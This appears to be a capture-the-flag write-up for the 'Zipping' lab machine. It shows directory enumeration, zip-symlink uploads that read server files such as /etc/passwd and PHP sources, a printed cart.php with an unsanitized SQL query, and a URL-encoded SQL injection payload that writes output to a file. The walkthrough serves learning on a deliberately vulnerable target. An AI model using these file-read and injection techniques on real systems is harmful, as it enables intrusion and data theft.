200 GET 317l 1354w 16738c http://zipping.htb/index.php
200 GET 113l 380w 5322c http://zipping.htb/upload.php
500 GET 0l 0w 0c http://zipping.htb/shop/products.php
500 GET 0l 0w 0c http://zipping.htb/shop/home.php
200 GET 1l 3w 15c http://zipping.htb/shop/product.php
200 GET 68l 149w 2615c http://zipping.htb/shop/index.php
500 GET 1l 0w 1c http://zipping.htb/shop/cart.php
200 GET 0l 0w 0c http://zipping.htb/shop/functions.php
500 GET 0l 0w 0c http://zipping.htb/shop/placeorder.php
navigating through the web server we can find some interesting information
Looking around the page we can find a directory /upload.php , which looks like some kind of PHP function that only accepts zip files with pdf's residing in them
Lets submit a blank pdf file that has been zippped up, catch the request with burp and analyze further
once we have selected the zip file (with a pdf file inside) we can hit upload and looking through burp we can see the following
notice we have been given a link to our pdf file to view it
we can see the file that will be accepted is .zip files
Lets see if we can utilize symlinks
what is a symlink?
A symlink (also called a symbolic link) is a type of file in Linux that points to another file or a folder on your computer. Symlinks are similar to shortcuts in Windows
How is this useful to us?
we can create a zip archive with symlink, essentially we can create a file.pdf that point to another location somewhere within the web application, say maybe /var/www/html/shop/index.php on the back system
creating a symlink
ln -s /var/www/html/shop/index.php test.pdf
creating a zip archive with symlinks
zip --symlinks test.zip test.pdf
Now we can upload our zip filp
and we can see the source code for index.php
Looks like we have discovered a LFI vulnerability, lets create another zip file except this tim we want to symlink test.pdf to /etc/passwd
same processes as before and we can see when we send the request to repeater
looks like we have the user rektsu and mysql running within the target
Now if we look back at the source code for /var/www/html/shop/index.php we can see another function
<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>
I want to see if these function has any hard coded creds
so lets set up our zip file to upload
ln -s /var/www/html/shop/functions.php test.pdf
zip --symlinks test.zip test.pdf
Once we have uploaded and are given the location lets catch the request and pass it through to repeater
Let's enumerate this site further and check out the PHP function
by looking at the cart.php function
<?php
// If the user clicked the add to cart button on the product page we can check for the form data
if (isset($_POST['product_id'], $_POST['quantity'])) {
// Set the post variables so we easily identify them, also make sure they are integer
$product_id = $_POST['product_id'];
$quantity = $_POST['quantity'];
// Filtering user input for letters or special characters
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match)) {
echo '';
} else {
// Construct the SQL statement with a vulnerable parameter
$sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";
// Execute the SQL statement without any sanitization or parameter binding
$product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);
// Check if the product exists (array is not empty)
if ($product && $quantity > 0) {
// Product exists in database, now we can create/update the session variable for the cart
if (isset($_SESSION['cart']) && is_array($_SESSION['cart'])) {
if (array_key_exists($product_id, $_SESSION['cart'])) {
// Product exists in cart so just update the quanity
$_SESSION['cart'][$product_id] += $quantity;
} else {
// Product is not in cart so add it
$_SESSION['cart'][$product_id] = $quantity;
}
} else {
// There are no products in cart, this will add the first product to cart
$_SESSION['cart'] = array($product_id => $quantity);
}
}
// Prevent form resubmission...
header('location: index.php?page=cart');
exit;
}
}
// Remove product from cart, check for the URL param "remove", this is the product id, make sure it's a number and check if it's in the cart
if (isset($_GET['remove']) && is_numeric($_GET['remove']) && isset($_SESSION['cart']) && isset($_SESSION['cart'][$_GET['remove']])) {
// Remove the product from the shopping cart
unset($_SESSION['cart'][$_GET['remove']]);
}
// Update product quantities in cart if the user clicks the "Update" button on the shopping cart page
if (isset($_POST['update']) && isset($_SESSION['cart'])) {
// Loop through the post data so we can update the quantities for every product in cart
foreach ($_POST as $k => $v) {
if (strpos($k, 'quantity') !== false && is_numeric($v)) {
$id = str_replace('quantity-', '', $k);
$quantity = (int)$v;
// Always do checks and validation
if (is_numeric($id) && isset($_SESSION['cart'][$id]) && $quantity > 0) {
// Update new quantity
$_SESSION['cart'][$id] = $quantity;
}
}
}
// Prevent form resubmission...
header('location: index.php?page=cart');
exit;
}
// Send the user to the place order page if they click the Place Order button, also the cart should not be empty
if (isset($_POST['placeorder']) && isset($_SESSION['cart']) && !empty($_SESSION['cart'])) {
header('Location: index.php?page=placeorder');
exit;
}
if (isset($_POST['clear'])) {
unset($_SESSION['cart']);
}
// Check the session variable for products in cart
$products_in_cart = isset($_SESSION['cart']) ? $_SESSION['cart'] : array();
$products = array();
$subtotal = 0.00;
// If there are products in cart
if ($products_in_cart) {
// There are products in the cart so we need to select those products from the database
// Products in cart array to question mark string array, we need the SQL statement to include IN (?,?,?,...etc)
$array_to_question_marks = implode(',', array_fill(0, count($products_in_cart), '?'));
$stmt = $pdo->prepare('SELECT * FROM products WHERE id IN (' . $array_to_question_marks . ')');
// We only need the array keys, not the values, the keys are the id's of the products
$stmt->execute(array_keys($products_in_cart));
// Fetch the products from the database and return the result as an Array
$products = $stmt->fetchAll(PDO::FETCH_ASSOC);
// Calculate the subtotal
foreach ($products as $product) {
$subtotal += (float)$product['price'] * (int)$products_in_cart[$product['id']];
}
}
?>
<?=template_header('Zipping | Cart')?>
<div class="cart content-wrapper">
<h1>Shopping Cart</h1>
<form action="index.php?page=cart" method="post">
<table>
<thead>
<tr>
<td colspan="2">Product</td>
<td>Price</td>
<td>Quantity</td>
<td>Total</td>
</tr>
</thead>
<tbody>
<?php if (empty($products)): ?>
<tr>
<td colspan="5" style="text-align:center;">You have no products added in your Shopping Cart</td>
</tr>
<?php else: ?>
<?php foreach ($products as $product): ?>
<tr>
<td class="img">
<a href="index.php?page=product&id=<?=$product['id']?>">
<img src="assets/imgs/<?=$product['img']?>" width="50" height="50" alt="<?=$product['name']?>">
</a>
</td>
<td>
<a href="index.php?page=product&id=<?=$product['id']?>"><?=$product['name']?></a>
<br>
<a href="index.php?page=cart&remove=<?=$product['id']?>" class="remove">Remove</a>
</td>
<td class="price">$<?=$product['price']?></td>
<td class="quantity">
<input type="number" name="quantity-<?=$product['id']?>" value="<?=$products_in_cart[$product['id']]?>" min="1" max="<?=$product['quantity']?>" placeholder="Quantity" required>
</td>
<td class="price">$<?=$product['price'] * $products_in_cart[$product['id']]?></td>
</tr>
<?php endforeach; ?>
<?php endif; ?>
</tbody>
</table>
<div class="subtotal">
<span class="text">Subtotal</span>
<span class="price">$<?=$subtotal?></span>
</div>
<div class="buttons">
<input type="submit" value="Update" name="update">
<input type="submit" value="Place Order" name="placeorder">
<input type="submit" value="Clear" name="clear" onsubmit="">
</div>
</form>
</div>
<?=template_footer()?>
we can see a comment
// Construct the SQL statement with a vulnerable parameter
$sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";
// Execute the SQL statement without any sanitization or parameter binding
$product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);
we can see product_id is our vulnerable parameter, Now we just need to find a way to exploit this, we know we are mysql root given the function.php hard coded credentials we found earlier
cmds
writing db version to the file /var/lib/mysql/version
%0a'%3b+select+%40%40version+into+outfile+'/var/lib/mysql/version.php'%3b+--
n -s /var/lib/mysql/version.php test.pdf
zip --symlinks test.zip test.pdf
# once uploaded we can see the contents (db version)